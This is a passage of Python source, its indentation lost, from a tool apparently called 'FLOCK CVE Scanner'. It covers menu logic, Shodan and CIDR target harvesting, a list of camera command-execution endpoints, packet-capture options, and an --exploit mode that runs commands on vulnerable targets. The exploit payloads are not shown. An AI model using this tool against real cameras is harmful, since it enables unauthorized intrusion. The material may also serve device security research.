input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}")
return [] # back to menu
# ── 7: Traffic Analysis ──
if choice == '7':
ip = input(f"{Colors.CYAN}Enter camera IP to analyze: {Colors.END}").strip()
if ip:
self.run_traffic_analysis(ip)
input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}")
return []
# ── 8: Traffic Tap (live) ──
if choice == '8':
if not HAVE_TAP:
print(f"{Colors.RED}Error: flock_tap.py not found or scapy missing. pip install scapy{Colors.END}")
input(f"{Colors.CYAN}Press Enter…{Colors.END}")
return []
iface = input(f"{Colors.CYAN}Interface (e.g., eth0): {Colors.END}").strip()
if not iface:
return []
timeout_s = input(f"{Colors.CYAN}Capture duration in seconds (blank = unlimited): {Colors.END}").strip()
tap_out = input(f"{Colors.CYAN}Save report to file (blank = none): {Colors.END}").strip()
tap = FlockTrafficTap(
interface=iface,
verbose=self.verbose,
output_file=tap_out or None,
timeout=int(timeout_s) if timeout_s else None,
)
tap.start()
tap.report()
input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}")
return []
# ── 9: Traffic Tap (pcap) ──
if choice == '9':
if not HAVE_TAP:
print(f"{Colors.RED}Error: flock_tap.py not found or scapy missing. pip install scapy{Colors.END}")
input(f"{Colors.CYAN}Press Enter…{Colors.END}")
return []
pcap_file = input(f"{Colors.CYAN}PCAP file path: {Colors.END}").strip()
if not pcap_file or not os.path.exists(pcap_file):
print(f"{Colors.RED}File not found: {pcap_file}{Colors.END}")
input(f"{Colors.CYAN}Press Enter…{Colors.END}")
return []
tap_out = input(f"{Colors.CYAN}Save report (blank = none): {Colors.END}").strip()
tap = FlockTrafficTap(
pcap=pcap_file,
verbose=self.verbose,
output_file=tap_out or None,
)
tap.start()
tap.report()
input(f"\n{Colors.CYAN}Press Enter to continue…{Colors.END}")
return []
# ── Original options ──
targets = []
if choice == '1':
ip = input(f"{Colors.CYAN}Enter IP: {Colors.END}").strip()
if ip:
targets.append(ip)
elif choice == '2':
cidr = input(f"{Colors.CYAN}Enter CIDR (e.g., 192.168.1.0/24): {Colors.END}").strip()
try:
import ipaddress
for ip in ipaddress.ip_network(cidr, strict=False).hosts():
targets.append(str(ip))
except Exception as e:
print(f"{Colors.RED}Invalid CIDR: {e}{Colors.END}")
elif choice == '3':
fn = input(f"{Colors.CYAN}Enter filename: {Colors.END}").strip()
try:
with open(fn) as f:
for line in f:
targets.append(line.strip())
except Exception as e:
print(f"{Colors.RED}Error: {e}{Colors.END}")
elif choice == '4':
if not self.shodan_api_key:
self.shodan_api_key = input(f"{Colors.CYAN}Enter Shodan API key: {Colors.END}").strip()
if self.shodan_api_key:
targets = self.get_shodan_targets(self.shodan_api_key)
if targets:
print(f"{Colors.GREEN}Found {len(targets)} targets{Colors.END}")
else:
print(f"{Colors.YELLOW}No targets found{Colors.END}")
else:
print(f"{Colors.RED}API key required{Colors.END}")
elif choice == '5':
print(f"\n{Colors.CYAN}Falcon/Sparrow Signatures:{Colors.END}")
print(" - HTTP Title: 'Falcon' or 'Sparrow'")
print(" - /api/v1/admin/execute")
print(" - /api/v1/system/exec")
print(" - Port 5555 (ADB)")
print(" - /api/v1/debug")
print(f"{Colors.YELLOW}Requires Shodan or pre-generated targets{Colors.END}")
elif choice == '0':
return []
return targets
def run(self):
self.print_banner()
if self.exploit:
print(f"{Colors.RED}{Colors.BLINK}WARNING: EXPLOITATION MODE ACTIVE{Colors.END}")
print(f"{Colors.YELLOW}This will execute commands on vulnerable targets{Colors.END}")
confirm = input(f"{Colors.RED}Are you sure? (yes/no): {Colors.END}")
if confirm.lower() != 'yes':
print(f"{Colors.YELLOW}Exiting{Colors.END}")
return
while True:
targets = self.generate_targets()
if not targets:
if input(f"{Colors.CYAN}Exit? (y/n): {Colors.END}").lower() == 'y':
break
continue
print(f"{Colors.GREEN}Found {len(targets)} targets{Colors.END}")
if len(targets) > 100:
print(f"{Colors.YELLOW}Large scan — press Ctrl+C to cancel{Colors.END}")
self.scan_network(targets)
if input(f"{Colors.CYAN}Continue? (y/n): {Colors.END}").lower() != 'y':
break
def main():
parser = argparse.ArgumentParser(description='FLOCK CVE Scanner + Discovery + Traffic Analysis')
parser.add_argument('-t', '--target', help='Single target IP')
parser.add_argument('-f', '--file', help='File with targets')
parser.add_argument('-o', '--output', help='Output file (JSON)')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
parser.add_argument('-T', '--threads', type=int, default=10, help='Number of threads')
parser.add_argument('--timeout', type=int, default=5, help='Connection timeout')
parser.add_argument('--exploit', action='store_true', help='Enable exploitation')
parser.add_argument('--cve', help='Scan specific CVE only')
parser.add_argument('--discover', metavar='CIDR', help='Discover Flock instances in subnet (e.g. 192.168.1.0/24)')
parser.add_argument('--analyze-traffic', metavar='IP', help='Analyze data flow for a camera IP')
parser.add_argument('--tap-interface', metavar='IFACE', help='Traffic Tap: live capture interface')
parser.add_argument('--tap-pcap', metavar='FILE', help='Traffic Tap: PCAP file to analyze')
parser.add_argument('--tap-pipe', action='store_true', help='Traffic Tap: read from stdin')
parser.add_argument('--tap-output', metavar='FILE', help='Traffic Tap: save report to JSON')
args = parser.parse_args()
scanner = CVEExploiter(
verbose=args.verbose,
output_file=args.output,
threads=args.threads,
timeout=args.timeout,
exploit=args.exploit,
)
# CLI shortcut for discovery
if args.discover:
scanner.run_discovery(args.discover)
if args.output:
scanner.save_results()
return
# CLI shortcut for traffic analysis
if args.analyze_traffic:
scanner.run_traffic_analysis(args.analyze_traffic)
if args.output:
scanner.save_results()
return
# CLI shortcut for Traffic Tap
if args.tap_interface or args.tap_pcap or args.tap_pipe:
if not HAVE_TAP:
print(f"{Colors.RED}Error: flock_tap.py not found. Run: pip install scapy{Colors.END}")
sys.exit(1)
tap = FlockTrafficTap(
interface=args.tap_interface,
pcap=args.tap_pcap,
pipe=args.tap_pipe,
verbose=args.verbose,
output_file=args.tap_output or args.output,
)
tap.start()
tap.report()
if args.output:
# Save raw report too
rpt = tap.generate_report()
try:
with open(args.output, 'w') as f:
json.dump(rpt, f, indent=2)
print(f"{Colors.GREEN}Tap report saved to {args.output}{Colors.END}")
except Exception as e:
print(f"{Colors.RED}Error saving: {e}{Colors.END}")
return
if args.target:
targets = [args.target]
scanner.scan_network(targets)
if args.output:
scanner.save_results()
elif args.file:
with open(args.file) as f:
targets = [line.strip() for line in f]
scanner.scan_network(targets)
if args.output:
scanner.save_results()
else:
scanner.run()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print(f"\n{Colors.YELLOW}Scan interrupted{Colors.END}")
sys.exit(0)